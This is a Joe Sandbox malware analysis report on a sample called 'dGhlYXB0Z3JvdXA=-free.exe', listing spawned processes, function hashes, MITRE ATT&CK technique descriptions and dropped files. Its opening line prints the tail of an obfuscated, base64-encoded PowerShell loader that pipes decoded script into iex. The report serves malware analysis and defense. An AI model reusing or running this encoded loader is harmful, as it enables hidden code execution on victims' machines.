AZwBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGwATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAEoARwBoAFgAYgBtAFEAcwBJAEQAQQBwAEQAUQBwADkARABRAG8AawBZADMAVgB5AGMAbQBWAHUAZABGAGQAcABiAG0AUgB2AGQAMQBSAHAAZABHAHgAbABJAEQAMABnAFIAMgBWADAAUQBXAE4AMABhAFgAWgBsAFYAMgBsAHUAWgBHADkAMwBWAEcAbAAwAGIARwBVAE4AQwBrAGgAcABaAEcAVgBCAFkAMwBSAHAAZABtAFYAWABhAFcANQBrAGIAMwBjAE4AQwBnAD0APQAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: csc.exePID: 2408, Parent PID: 6688

General

Target ID:	14
Start time:	03:06:34
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline"
Imagebase:	0x7ff604380000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:06:34
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES13F5.tmp" "c:\Users\user\AppData\Local\Temp\3oofqhq2\CSC76E89C1DFE954A0B872EAE18016ED95.TMP"
Imagebase:	0x7ff7784c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:55:53
Start date:	02/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" csproduct get uuid /value
Imagebase:	0x7ff747970000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC48B124 Relevance: 1.6, APIs: 1, Instructions: 116
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 00007FFAAC48B1CE

Memory Dump Source

Source File: 00000008.00000002.1434184114.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac480000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a620d80ade607cd8fc5ddd266d329987eb5ce740a05921fbf78fe496f781e07c
Instruction ID: 5d7ff4cfd6403426d2099b2a7023d56fff883c1b978639ec896db98a60757070
Opcode Fuzzy Hash: a620d80ade607cd8fc5ddd266d329987eb5ce740a05921fbf78fe496f781e07c
Instruction Fuzzy Hash: 0D31D43190CA5C8FEB59DB58D849AE9BBE0FF56320F04822BD00DC3251DB74A445CB91

Function 00007FFAAC552AAD Relevance: 1.5, Strings: 1, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 00007FFAAC552B66

Memory Dump Source

Source File: 00000008.00000002.1434990202.00007FFAAC550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac550000_powershell.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 4bbbf09ff8b043c397773c3e0a78f6951948743bf0b991cded142268ed476b95
Instruction ID: 25deefc841be2cf7d2ff2402f8838387388d164529f988aee0f9680ced3615a1
Opcode Fuzzy Hash: 4bbbf09ff8b043c397773c3e0a78f6951948743bf0b991cded142268ed476b95
Instruction Fuzzy Hash: 9C912462A4E7CA4FF3569B784C155647FD1EF97220B0841FFE08DCB2E3D919984A8392

Function 00007FFAAC5553B5 Relevance: .4, Instructions: 446
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1434990202.00007FFAAC550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c7e316311fd0507034397ff30dfd0b50b2c11387d9378caa994374090ef5d80
Instruction ID: 2e9ebcc8a2724462b00f9d922c25f35fafeafe620bb75cb6ab718f8c94bedf3a
Opcode Fuzzy Hash: 1c7e316311fd0507034397ff30dfd0b50b2c11387d9378caa994374090ef5d80
Instruction Fuzzy Hash: F1D1676195EACE8FFB95AB6888155B57FA5EF42320B4840BEE04DC70D3D91AE808C3D1

Non-executed Functions

Function 00007FFAAC48D77C Relevance: 2.0, Strings: 1, Instructions: 765COMMON

Download Yara Rule

Strings

L, xrefs: 00007FFAAC48DC64

Memory Dump Source

Source File: 00000008.00000002.1434184114.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac480000_powershell.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2909332022
Opcode ID: 00c43c63bf48a9baa4e28e933c98e24d46860e81f055bc2ec3cb803638c662ee
Instruction ID: 7663748465e503ffb61f42070f99e036815f0c44b015457a18c527c4350e1be0
Opcode Fuzzy Hash: 00c43c63bf48a9baa4e28e933c98e24d46860e81f055bc2ec3cb803638c662ee
Instruction Fuzzy Hash: 1942C67091EA8A8FEB64DF18C809BB477D0FF56304F148179D85DCB292DA34EA4987C5

Function 00007FFAAC48D805 Relevance: 1.9, Strings: 1, Instructions: 603COMMON

Download Yara Rule

Strings

L, xrefs: 00007FFAAC48DC64

Memory Dump Source

Source File: 00000008.00000002.1434184114.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac480000_powershell.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2909332022
Opcode ID: 1440d7badfac7baeac3f257ef9c7ccb4921bddf697802944f269bfe60734cf1b
Instruction ID: 37cda3a2042472cb6a759021005adf9307952b76ea5e25c043bff441181c5ed4
Opcode Fuzzy Hash: 1440d7badfac7baeac3f257ef9c7ccb4921bddf697802944f269bfe60734cf1b
Instruction Fuzzy Hash: 8412C13051AE4A8FEBA8DF18C849BB577D0FF59304F008179D85ECB292DA34EA4987C5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report dGhlYXB0Z3JvdXA=-free.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\dllname.dir

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.0.cs

C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline

C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.dll

C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.out

C:\Users\user\AppData\Local\Temp\3oofqhq2\CSC76E89C1DFE954A0B872EAE18016ED95.TMP

C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.0.cs

C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline

C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.dll

C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.out

C:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP

C:\Users\user\AppData\Local\Temp\RES13F5.tmp

C:\Users\user\AppData\Local\Temp\RESDB22.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nhbf4pgq.ect.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vpcket3x.ar2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wpxpmatl.40p.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zzprrhrp.1az.ps1

Static File Info

General

File Icon

Windows Analysis Report
dGhlYXB0Z3JvdXA=-free.exe

Function 00007FFAAC48B124 Relevance: 1.6, APIs: 1, Instructions: 116
libraryCOMMON

Function 00007FFAAC552AAD Relevance: 1.5, Strings: 1, Instructions: 287
COMMON

Function 00007FFAAC5553B5 Relevance: .4, Instructions: 446
COMMON